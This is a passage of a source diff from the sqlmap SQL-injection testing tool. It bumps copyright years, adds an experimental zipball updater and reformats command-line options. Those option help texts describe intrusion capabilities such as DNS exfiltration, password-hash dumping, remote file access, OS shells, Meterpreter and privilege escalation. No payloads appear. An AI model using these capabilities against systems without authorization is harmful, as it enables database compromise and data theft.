     if not conf.hashDBFile:
-        conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, "session.sqlite")
+        conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, SESSION_SQLITE_FILE)
 
     if os.path.exists(conf.hashDBFile):
         if conf.flushSession:
@@ -445,13 +449,10 @@ def _resumeHashDBValues():
     conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH)
 
     for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []:
-        if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and \
-            injection.parameter in conf.paramDict[injection.place]:
-
+        if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in conf.paramDict[injection.place]:
             if not conf.tech or intersect(conf.tech, injection.data.keys()):
                 if intersect(conf.tech, injection.data.keys()):
                     injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech)
-
                 if injection not in kb.injections:
                     kb.injections.append(injection)
 
@@ -577,7 +578,7 @@ def _createFilesDir():
 
     if not os.path.isdir(conf.filePath):
         try:
-            os.makedirs(conf.filePath, 0755)
+            os.makedirs(conf.filePath)
         except OSError, ex:
             tempDir = tempfile.mkdtemp(prefix="sqlmapfiles")
             warnMsg = "unable to create files directory "
@@ -599,7 +600,7 @@ def _createDumpDir():
 
     if not os.path.isdir(conf.dumpPath):
         try:
-            os.makedirs(conf.dumpPath, 0755)
+            os.makedirs(conf.dumpPath)
         except OSError, ex:
             tempDir = tempfile.mkdtemp(prefix="sqlmapdump")
             warnMsg = "unable to create dump directory "
@@ -620,7 +621,7 @@ def _createTargetDirs():
 
     try:
         if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
-            os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
+            os.makedirs(paths.SQLMAP_OUTPUT_PATH)
 
         _ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr())
         open(_, "w+b").close()
@@ -650,7 +651,7 @@ def _createTargetDirs():
 
     try:
         if not os.path.isdir(conf.outputPath):
-            os.makedirs(conf.outputPath, 0755)
+            os.makedirs(conf.outputPath)
     except (OSError, IOError, TypeError), ex:
         try:
             tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")

lib/core/testing.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/threads.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -95,6 +95,9 @@ def exceptionHandledFunction(threadFunction, silent=False):
         if not silent:
             logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
 
+            if conf.verbose > 1:
+                traceback.print_exc()
+
 def setDaemon(thread):
     # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation
     if PYVERSION >= "2.6":
@@ -185,6 +188,9 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
         kb.threadException = True
         logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
 
+        if conf.verbose > 1:
+            traceback.print_exc()
+
     except:
         from lib.core.common import unhandledExceptionMessage
 

lib/core/unescaper.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/update.py

@@ -1,25 +1,32 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import locale
+import glob
 import os
 import re
+import shutil
 import subprocess
+import sys
 import time
+import urllib
+import zipfile
 
 from lib.core.common import dataToStdout
 from lib.core.common import getSafeExString
 from lib.core.common import pollProcess
+from lib.core.common import readInput
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.data import paths
 from lib.core.revision import getRevisionNumber
 from lib.core.settings import GIT_REPOSITORY
 from lib.core.settings import IS_WIN
+from lib.core.settings import ZIPBALL_PAGE
+from lib.core.settings import UNICODE_ENCODING
 
 def update():
     if not conf.updateAll:
@@ -28,11 +35,56 @@ def update():
     success = False
 
     if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
-        errMsg = "not a git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
-        errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')"
-        logger.error(errMsg)
+        warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository "
+        warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
+        logger.warn(warnMsg)
+
+        message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]"
+        if readInput(message, default='N', boolean=True):
+            directory = os.path.abspath(paths.SQLMAP_ROOT_PATH)
+
+            try:
+                open(os.path.join(directory, "sqlmap.py"), "w+b")
+            except Exception, ex:
+                errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex))
+                logger.error(errMsg)
+            else:
+                for wildcard in ('*', ".*"):
+                    for _ in glob.glob(os.path.join(directory, wildcard)):
+                        try:
+                            if os.path.isdir(_):
+                                shutil.rmtree(_)
+                            else:
+                                os.remove(_)
+                        except:
+                            pass
+
+                if glob.glob(os.path.join(directory, '*')):
+                    errMsg = "unable to clear the content of directory '%s'" % directory
+                    logger.error(errMsg)
+                else:
+                    try:
+                        archive = urllib.urlretrieve(ZIPBALL_PAGE)[0]
+
+                        with zipfile.ZipFile(archive) as f:
+                            for info in f.infolist():
+                                info.filename = re.sub(r"\Asqlmap[^/]+", "", info.filename)
+                                if info.filename:
+                                    f.extract(info, directory)
+
+                        filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
+                        if os.path.isfile(filepath):
+                            with open(filepath, "rb") as f:
+                                version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1)
+                                logger.info("updated to the latest version '%s#dev'" % version)
+                                success = True
+                    except Exception, ex:
+                        logger.error("update could not be completed ('%s')" % getSafeExString(ex))
+                    else:
+                        if not success:
+                            logger.error("update could not be completed")
     else:
-        infoMsg = "updating sqlmap to the latest development version from the "
+        infoMsg = "updating sqlmap to the latest development revision from the "
         infoMsg += "GitHub repository"
         logger.info(infoMsg)
 
@@ -42,7 +94,7 @@ def update():
         dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X"))
 
         try:
-            process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(locale.getpreferredencoding()))  # Reference: http://blog.stastnarodina.com/honza-en/spot/python-unicodeencodeerror/
+            process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
             pollProcess(process, True)
             stdout, stderr = process.communicate()
             success = not process.returncode
@@ -55,7 +107,7 @@ def update():
         else:
             if "Not a git repository" in stderr:
                 errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
-                errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')"
+                errMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
                 logger.error(errMsg)
             else:
                 logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip())
@@ -68,7 +120,7 @@ def update():
             infoMsg += "download the latest snapshot from "
             infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
         else:
-            infoMsg = "for Linux platform it's required "
+            infoMsg = "for Linux platform it's recommended "
             infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')"
 
         logger.info(infoMsg)

lib/core/wordlist.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -47,7 +47,7 @@ class Wordlist(object):
                     errMsg = "something appears to be wrong with "
                     errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
                     errMsg += "sure that you haven't made any changes to it"
-                    raise SqlmapInstallationException, errMsg
+                    raise SqlmapInstallationException(errMsg)
                 if len(_.namelist()) == 0:
                     errMsg = "no file(s) inside '%s'" % self.current
                     raise SqlmapDataException(errMsg)
@@ -73,7 +73,7 @@ class Wordlist(object):
                 errMsg = "something appears to be wrong with "
                 errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
                 errMsg += "sure that you haven't made any changes to it"
-                raise SqlmapInstallationException, errMsg
+                raise SqlmapInstallationException(errMsg)
             except StopIteration:
                 self.adjust()
                 retVal = self.iter.next().rstrip()

lib/parse/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/parse/banner.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/parse/cmdline.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -50,9 +50,7 @@ def cmdLineParser(argv=None):
     # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
     _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding)
 
-    usage = "%s%s [options]" % ("python " if not IS_WIN else "", \
-            "\"%s\"" % _ if " " in _ else _)
-
+    usage = "%s%s [options]" % ("python " if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _)
     parser = OptionParser(usage=usage)
 
     try:
@@ -115,15 +113,13 @@ def cmdLineParser(argv=None):
         request.add_option("--load-cookies", dest="loadCookies",
                            help="File containing cookies in Netscape/wget format")
 
-        request.add_option("--drop-set-cookie", dest="dropSetCookie",
-                           action="store_true",
+        request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true",
                            help="Ignore Set-Cookie header from response")
 
         request.add_option("--user-agent", dest="agent",
                            help="HTTP User-Agent header value")
 
-        request.add_option("--random-agent", dest="randomAgent",
-                           action="store_true",
+        request.add_option("--random-agent", dest="randomAgent", action="store_true",
                            help="Use randomly selected HTTP User-Agent header value")
 
         request.add_option("--host", dest="host",
@@ -139,62 +135,55 @@ def cmdLineParser(argv=None):
                            help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
 
         request.add_option("--auth-type", dest="authType",
-                           help="HTTP authentication type "
-                                "(Basic, Digest, NTLM or PKI)")
+                           help="HTTP authentication type (Basic, Digest, NTLM or PKI)")
 
         request.add_option("--auth-cred", dest="authCred",
-                           help="HTTP authentication credentials "
-                                "(name:password)")
+                           help="HTTP authentication credentials (name:password)")
 
         request.add_option("--auth-file", dest="authFile",
                            help="HTTP authentication PEM cert/private key file")
 
         request.add_option("--ignore-code", dest="ignoreCode", type="int",
-                          help="Ignore HTTP error code (e.g. 401)")
+                           help="Ignore HTTP error code (e.g. 401)")
 
         request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
                            help="Ignore system default proxy settings")
 
         request.add_option("--ignore-redirects", dest="ignoreRedirects", action="store_true",
-                          help="Ignore redirection attempts")
+                           help="Ignore redirection attempts")
 
         request.add_option("--ignore-timeouts", dest="ignoreTimeouts", action="store_true",
-                          help="Ignore connection timeouts")
+                           help="Ignore connection timeouts")
 
         request.add_option("--proxy", dest="proxy",
                            help="Use a proxy to connect to the target URL")
 
         request.add_option("--proxy-cred", dest="proxyCred",
-                           help="Proxy authentication credentials "
-                                "(name:password)")
+                           help="Proxy authentication credentials (name:password)")
 
         request.add_option("--proxy-file", dest="proxyFile",
                            help="Load proxy list from a file")
 
-        request.add_option("--tor", dest="tor",
-                                  action="store_true",
-                                  help="Use Tor anonymity network")
+        request.add_option("--tor", dest="tor", action="store_true",
+                           help="Use Tor anonymity network")
 
         request.add_option("--tor-port", dest="torPort",
-                                  help="Set Tor proxy port other than default")
+                           help="Set Tor proxy port other than default")
 
         request.add_option("--tor-type", dest="torType",
-                                  help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))")
+                           help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))")
 
-        request.add_option("--check-tor", dest="checkTor",
-                                  action="store_true",
-                                  help="Check to see if Tor is used properly")
+        request.add_option("--check-tor", dest="checkTor", action="store_true",
+                           help="Check to see if Tor is used properly")
 
         request.add_option("--delay", dest="delay", type="float",
                            help="Delay in seconds between each HTTP request")
 
         request.add_option("--timeout", dest="timeout", type="float",
-                           help="Seconds to wait before timeout connection "
-                                "(default %d)" % defaults.timeout)
+                           help="Seconds to wait before timeout connection (default %d)" % defaults.timeout)
 
         request.add_option("--retries", dest="retries", type="int",
-                           help="Retries when the connection timeouts "
-                                "(default %d)" % defaults.retries)
+                           help="Retries when the connection timeouts (default %d)" % defaults.retries)
 
         request.add_option("--randomize", dest="rParam",
                            help="Randomly change value for given parameter(s)")
@@ -211,8 +200,7 @@ def cmdLineParser(argv=None):
         request.add_option("--safe-freq", dest="safeFreq", type="int",
                            help="Test requests between two visits to a given safe URL")
 
-        request.add_option("--skip-urlencode", dest="skipUrlEncode",
-                           action="store_true",
+        request.add_option("--skip-urlencode", dest="skipUrlEncode", action="store_true",
                            help="Skip URL encoding of payload data")
 
         request.add_option("--csrf-token", dest="csrfToken",
@@ -221,44 +209,36 @@ def cmdLineParser(argv=None):
         request.add_option("--csrf-url", dest="csrfUrl",
                            help="URL address to visit to extract anti-CSRF token")
 
-        request.add_option("--force-ssl", dest="forceSSL",
-                           action="store_true",
+        request.add_option("--force-ssl", dest="forceSSL", action="store_true",
                            help="Force usage of SSL/HTTPS")
 
-        request.add_option("--hpp", dest="hpp",
-                                  action="store_true",
-                                  help="Use HTTP parameter pollution method")
+        request.add_option("--hpp", dest="hpp", action="store_true",
+                           help="Use HTTP parameter pollution method")
 
         request.add_option("--eval", dest="evalCode",
                            help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")")
 
         # Optimization options
-        optimization = OptionGroup(parser, "Optimization", "These "
-                               "options can be used to optimize the "
-                               "performance of sqlmap")
+        optimization = OptionGroup(parser, "Optimization", "These options can be used to optimize the performance of sqlmap")
 
-        optimization.add_option("-o", dest="optimize",
-                                 action="store_true",
-                                 help="Turn on all optimization switches")
+        optimization.add_option("-o", dest="optimize", action="store_true",
+                                help="Turn on all optimization switches")
 
         optimization.add_option("--predict-output", dest="predictOutput", action="store_true",
-                          help="Predict common queries output")
+                                help="Predict common queries output")
 
         optimization.add_option("--keep-alive", dest="keepAlive", action="store_true",
-                           help="Use persistent HTTP(s) connections")
+                                help="Use persistent HTTP(s) connections")
 
         optimization.add_option("--null-connection", dest="nullConnection", action="store_true",
-                          help="Retrieve page length without actual HTTP response body")
+                                help="Retrieve page length without actual HTTP response body")
 
         optimization.add_option("--threads", dest="threads", type="int",
-                           help="Max number of concurrent HTTP(s) "
+                                help="Max number of concurrent HTTP(s) "
                                 "requests (default %d)" % defaults.threads)
 
         # Injection options
-        injection = OptionGroup(parser, "Injection", "These options can be "
-                                "used to specify which parameters to test "
-                                "for, provide custom injection payloads and "
-                                "optional tampering scripts")
+        injection = OptionGroup(parser, "Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts")
 
         injection.add_option("-p", dest="testParameter",
                              help="Testable parameter(s)")
@@ -270,36 +250,30 @@ def cmdLineParser(argv=None):
                              help="Skip testing parameters that not appear to be dynamic")
 
         injection.add_option("--param-exclude", dest="paramExclude",
-                           help="Regexp to exclude parameters from testing (e.g. \"ses\")")
+                             help="Regexp to exclude parameters from testing (e.g. \"ses\")")
 
         injection.add_option("--dbms", dest="dbms",
                              help="Force back-end DBMS to this value")
 
         injection.add_option("--dbms-cred", dest="dbmsCred",
-                            help="DBMS authentication credentials (user:password)")
+                             help="DBMS authentication credentials (user:password)")
 
         injection.add_option("--os", dest="os",
-                             help="Force back-end DBMS operating system "
-                                  "to this value")
+                             help="Force back-end DBMS operating system to this value")
 
-        injection.add_option("--invalid-bignum", dest="invalidBignum",
-                             action="store_true",
+        injection.add_option("--invalid-bignum", dest="invalidBignum", action="store_true",
                              help="Use big numbers for invalidating values")
 
-        injection.add_option("--invalid-logical", dest="invalidLogical",
-                             action="store_true",
+        injection.add_option("--invalid-logical", dest="invalidLogical", action="store_true",
                              help="Use logical operations for invalidating values")
 
-        injection.add_option("--invalid-string", dest="invalidString",
-                             action="store_true",
+        injection.add_option("--invalid-string", dest="invalidString", action="store_true",
                              help="Use random strings for invalidating values")
 
-        injection.add_option("--no-cast", dest="noCast",
-                             action="store_true",
+        injection.add_option("--no-cast", dest="noCast", action="store_true",
                              help="Turn off payload casting mechanism")
 
-        injection.add_option("--no-escape", dest="noEscape",
-                             action="store_true",
+        injection.add_option("--no-escape", dest="noEscape", action="store_true",
                              help="Turn off string escaping mechanism")
 
         injection.add_option("--prefix", dest="prefix",
@@ -312,54 +286,40 @@ def cmdLineParser(argv=None):
                              help="Use given script(s) for tampering injection data")
 
         # Detection options
-        detection = OptionGroup(parser, "Detection", "These options can be "
-                                "used to customize the detection phase")
+        detection = OptionGroup(parser, "Detection", "These options can be used to customize the detection phase")
 
         detection.add_option("--level", dest="level", type="int",
-                             help="Level of tests to perform (1-5, "
-                                  "default %d)" % defaults.level)
+                             help="Level of tests to perform (1-5, default %d)" % defaults.level)
 
         detection.add_option("--risk", dest="risk", type="int",
-                             help="Risk of tests to perform (1-3, "
-                                  "default %d)" % defaults.risk)
+                             help="Risk of tests to perform (1-3, default %d)" % defaults.risk)
 
         detection.add_option("--string", dest="string",
-                             help="String to match when "
-                                  "query is evaluated to True")
+                             help="String to match when query is evaluated to True")
 
         detection.add_option("--not-string", dest="notString",
-                             help="String to match when "
-                                  "query is evaluated to False")
+                             help="String to match when query is evaluated to False")
 
         detection.add_option("--regexp", dest="regexp",
-                             help="Regexp to match when "
-                                  "query is evaluated to True")
+                             help="Regexp to match when query is evaluated to True")
 
         detection.add_option("--code", dest="code", type="int",
-                             help="HTTP code to match when "
-                                  "query is evaluated to True")
+                             help="HTTP code to match when query is evaluated to True")
 
-        detection.add_option("--text-only", dest="textOnly",
-                             action="store_true",
+        detection.add_option("--text-only", dest="textOnly", action="store_true",
                              help="Compare pages based only on the textual content")
 
-        detection.add_option("--titles", dest="titles",
-                             action="store_true",
+        detection.add_option("--titles", dest="titles", action="store_true",
                              help="Compare pages based only on their titles")
 
         # Techniques options
-        techniques = OptionGroup(parser, "Techniques", "These options can be "
-                                 "used to tweak testing of specific SQL "
-                                 "injection techniques")
+        techniques = OptionGroup(parser, "Techniques", "These options can be used to tweak testing of specific SQL injection techniques")
 
         techniques.add_option("--technique", dest="tech",
-                              help="SQL injection techniques to use "
-                                   "(default \"%s\")" % defaults.tech)
+                              help="SQL injection techniques to use (default \"%s\")" % defaults.tech)
 
-        techniques.add_option("--time-sec", dest="timeSec",
-                              type="int",
-                              help="Seconds to delay the DBMS response "
-                                   "(default %d)" % defaults.timeSec)
+        techniques.add_option("--time-sec", dest="timeSec", type="int",
+                              help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec)
 
         techniques.add_option("--union-cols", dest="uCols",
                               help="Range of columns to test for UNION query SQL injection")
@@ -374,58 +334,45 @@ def cmdLineParser(argv=None):
                               help="Domain name used for DNS exfiltration attack")
 
         techniques.add_option("--second-order", dest="secondOrder",
-                             help="Resulting page URL searched for second-order "
-                                  "response")
+                              help="Resulting page URL searched for second-order response")
 
         # Fingerprint options
         fingerprint = OptionGroup(parser, "Fingerprint")
 
-        fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp",
-                               action="store_true",
+        fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", action="store_true",
                                help="Perform an extensive DBMS version fingerprint")
 
         # Enumeration options
-        enumeration = OptionGroup(parser, "Enumeration", "These options can "
-                                  "be used to enumerate the back-end database "
-                                  "management system information, structure "
-                                  "and data contained in the tables. Moreover "
-                                  "you can run your own SQL statements")
+        enumeration = OptionGroup(parser, "Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements")
 
-        enumeration.add_option("-a", "--all", dest="getAll",
-                               action="store_true", help="Retrieve everything")
+        enumeration.add_option("-a", "--all", dest="getAll", action="store_true",
+                               help="Retrieve everything")
 
-        enumeration.add_option("-b", "--banner", dest="getBanner",
-                               action="store_true", help="Retrieve DBMS banner")
+        enumeration.add_option("-b", "--banner", dest="getBanner", action="store_true",
+                               help="Retrieve DBMS banner")
 
-        enumeration.add_option("--current-user", dest="getCurrentUser",
-                               action="store_true",
+        enumeration.add_option("--current-user", dest="getCurrentUser", action="store_true",
                                help="Retrieve DBMS current user")
 
-        enumeration.add_option("--current-db", dest="getCurrentDb",
-                               action="store_true",
+        enumeration.add_option("--current-db", dest="getCurrentDb", action="store_true",
                                help="Retrieve DBMS current database")
 
-        enumeration.add_option("--hostname", dest="getHostname",
-                               action="store_true",
+        enumeration.add_option("--hostname", dest="getHostname", action="store_true",
                                help="Retrieve DBMS server hostname")
 
-        enumeration.add_option("--is-dba", dest="isDba",
-                               action="store_true",
+        enumeration.add_option("--is-dba", dest="isDba", action="store_true",
                                help="Detect if the DBMS current user is DBA")
 
         enumeration.add_option("--users", dest="getUsers", action="store_true",
                                help="Enumerate DBMS users")
 
-        enumeration.add_option("--passwords", dest="getPasswordHashes",
-                               action="store_true",
+        enumeration.add_option("--passwords", dest="getPasswordHashes", action="store_true",
                                help="Enumerate DBMS users password hashes")
 
-        enumeration.add_option("--privileges", dest="getPrivileges",
-                               action="store_true",
+        enumeration.add_option("--privileges", dest="getPrivileges", action="store_true",
                                help="Enumerate DBMS users privileges")
 
-        enumeration.add_option("--roles", dest="getRoles",
-                               action="store_true",
+        enumeration.add_option("--roles", dest="getRoles", action="store_true",
                                help="Enumerate DBMS users roles")
 
         enumeration.add_option("--dbs", dest="getDbs", action="store_true",
@@ -464,16 +411,14 @@ def cmdLineParser(argv=None):
         enumeration.add_option("-C", dest="col",
                                help="DBMS database table column(s) to enumerate")
 
-        enumeration.add_option("-X", dest="excludeCol",
-                               help="DBMS database table column(s) to not enumerate")
+        enumeration.add_option("-X", dest="exclude",
+                               help="DBMS database identifier(s) to not enumerate")
 
         enumeration.add_option("-U", dest="user",
                                help="DBMS user to enumerate")
 
-        enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs",
-                               action="store_true",
-                               help="Exclude DBMS system databases when "
-                                    "enumerating tables")
+        enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", action="store_true",
+                               help="Exclude DBMS system databases when enumerating tables")
 
         enumeration.add_option("--pivot-column", dest="pivotColumn",
                                help="Pivot column name")
@@ -496,28 +441,23 @@ def cmdLineParser(argv=None):
         enumeration.add_option("--sql-query", dest="query",
                                help="SQL statement to be executed")
 
-        enumeration.add_option("--sql-shell", dest="sqlShell",
-                               action="store_true",
+        enumeration.add_option("--sql-shell", dest="sqlShell", action="store_true",
                                help="Prompt for an interactive SQL shell")
 
         enumeration.add_option("--sql-file", dest="sqlFile",
                                help="Execute SQL statements from given file(s)")
 
         # Brute force options
-        brute = OptionGroup(parser, "Brute force", "These "
-                          "options can be used to run brute force "
-                          "checks")
+        brute = OptionGroup(parser, "Brute force", "These options can be used to run brute force checks")
 
         brute.add_option("--common-tables", dest="commonTables", action="store_true",
-                               help="Check existence of common tables")
+                         help="Check existence of common tables")
 
         brute.add_option("--common-columns", dest="commonColumns", action="store_true",
-                               help="Check existence of common columns")
+                         help="Check existence of common columns")
 
         # User-defined function options
-        udf = OptionGroup(parser, "User-defined function injection", "These "
-                          "options can be used to create custom user-defined "
-                          "functions")
+        udf = OptionGroup(parser, "User-defined function injection", "These options can be used to create custom user-defined functions")
 
         udf.add_option("--udf-inject", dest="udfInject", action="store_true",
                        help="Inject custom user-defined functions")
@@ -526,167 +466,131 @@ def cmdLineParser(argv=None):
                        help="Local path of the shared library")
 
         # File system options
-        filesystem = OptionGroup(parser, "File system access", "These options "
-                                 "can be used to access the back-end database "
-                                 "management system underlying file system")
+        filesystem = OptionGroup(parser, "File system access", "These options can be used to access the back-end database management system underlying file system")
 
         filesystem.add_option("--file-read", dest="rFile",
-                              help="Read a file from the back-end DBMS "
-                                   "file system")
+                              help="Read a file from the back-end DBMS file system")
 
         filesystem.add_option("--file-write", dest="wFile",
-                              help="Write a local file on the back-end "
-                                   "DBMS file system")
+                              help="Write a local file on the back-end DBMS file system")
 
         filesystem.add_option("--file-dest", dest="dFile",
-                              help="Back-end DBMS absolute filepath to "
-                                   "write to")
+                              help="Back-end DBMS absolute filepath to write to")
 
         # Takeover options
-        takeover = OptionGroup(parser, "Operating system access", "These "
-                               "options can be used to access the back-end "
-                               "database management system underlying "
-                               "operating system")
+        takeover = OptionGroup(parser, "Operating system access", "These options can be used to access the back-end database management system underlying operating system")
 
         takeover.add_option("--os-cmd", dest="osCmd",
                             help="Execute an operating system command")
 
-        takeover.add_option("--os-shell", dest="osShell",
-                            action="store_true",
-                            help="Prompt for an interactive operating "
-                                 "system shell")
+        takeover.add_option("--os-shell", dest="osShell", action="store_true",
+                            help="Prompt for an interactive operating system shell")
 
-        takeover.add_option("--os-pwn", dest="osPwn",
-                            action="store_true",
-                            help="Prompt for an OOB shell, "
-                                 "Meterpreter or VNC")
+        takeover.add_option("--os-pwn", dest="osPwn", action="store_true",
+                            help="Prompt for an OOB shell, Meterpreter or VNC")
 
-        takeover.add_option("--os-smbrelay", dest="osSmb",
-                            action="store_true",
-                            help="One click prompt for an OOB shell, "
-                                 "Meterpreter or VNC")
+        takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true",
+                            help="One click prompt for an OOB shell, Meterpreter or VNC")
 
-        takeover.add_option("--os-bof", dest="osBof",
-                            action="store_true",
+        takeover.add_option("--os-bof", dest="osBof", action="store_true",
                             help="Stored procedure buffer overflow "
                                  "exploitation")
 
-        takeover.add_option("--priv-esc", dest="privEsc",
-                            action="store_true",
+        takeover.add_option("--priv-esc", dest="privEsc", action="store_true",
                             help="Database process user privilege escalation")
 
         takeover.add_option("--msf-path", dest="msfPath",
-                            help="Local path where Metasploit Framework "
-                                 "is installed")
+                            help="Local path where Metasploit Framework is installed")
 
         takeover.add_option("--tmp-path", dest="tmpPath",
-                            help="Remote absolute path of temporary files "
-                                 "directory")
+                            help="Remote absolute path of temporary files directory")
 
         # Windows registry options
-        windows = OptionGroup(parser, "Windows registry access", "These "
-                               "options can be used to access the back-end "
-                               "database management system Windows "
-                               "registry")
+        windows = OptionGroup(parser, "Windows registry access", "These options can be used to access the back-end database management system Windows registry")
 
-        windows.add_option("--reg-read", dest="regRead",
-                            action="store_true",
-                            help="Read a Windows registry key value")
+        windows.add_option("--reg-read", dest="regRead", action="store_true",
+                           help="Read a Windows registry key value")
 
-        windows.add_option("--reg-add", dest="regAdd",
-                            action="store_true",
-                            help="Write a Windows registry key value data")
+        windows.add_option("--reg-add", dest="regAdd", action="store_true",
+                           help="Write a Windows registry key value data")
 
-        windows.add_option("--reg-del", dest="regDel",
-                            action="store_true",
-                            help="Delete a Windows registry key value")
+        windows.add_option("--reg-del", dest="regDel", action="store_true",
+                           help="Delete a Windows registry key value")
 
         windows.add_option("--reg-key", dest="regKey",
-                            help="Windows registry key")
+                           help="Windows registry key")
 
         windows.add_option("--reg-value", dest="regVal",
-                            help="Windows registry key value")
+                           help="Windows registry key value")
 
         windows.add_option("--reg-data", dest="regData",
-                            help="Windows registry key value data")
+                           help="Windows registry key value data")
 
         windows.add_option("--reg-type", dest="regType",
-                            help="Windows registry key value type")
+                           help="Windows registry key value type")
 
         # General options
-        general = OptionGroup(parser, "General", "These options can be used "
-                             "to set some general working parameters")
+        general = OptionGroup(parser, "General", "These options can be used to set some general working parameters")
 
         general.add_option("-s", dest="sessionFile",
-                            help="Load session from a stored (.sqlite) file")
+                           help="Load session from a stored (.sqlite) file")
 
         general.add_option("-t", dest="trafficFile",
-                            help="Log all HTTP traffic into a "
-                            "textual file")
+                           help="Log all HTTP traffic into a textual file")
 
-        general.add_option("--batch", dest="batch",
-                            action="store_true",
-                            help="Never ask for user input, use the default behaviour")
+        general.add_option("--batch", dest="batch", action="store_true",
+                           help="Never ask for user input, use the default behavior")
 
         general.add_option("--binary-fields", dest="binaryFields",
-                          help="Result fields having binary values (e.g. \"digest\")")
+                           help="Result fields having binary values (e.g. \"digest\")")
 
-        general.add_option("--check-internet", dest="checkInternet",
-                            action="store_true",
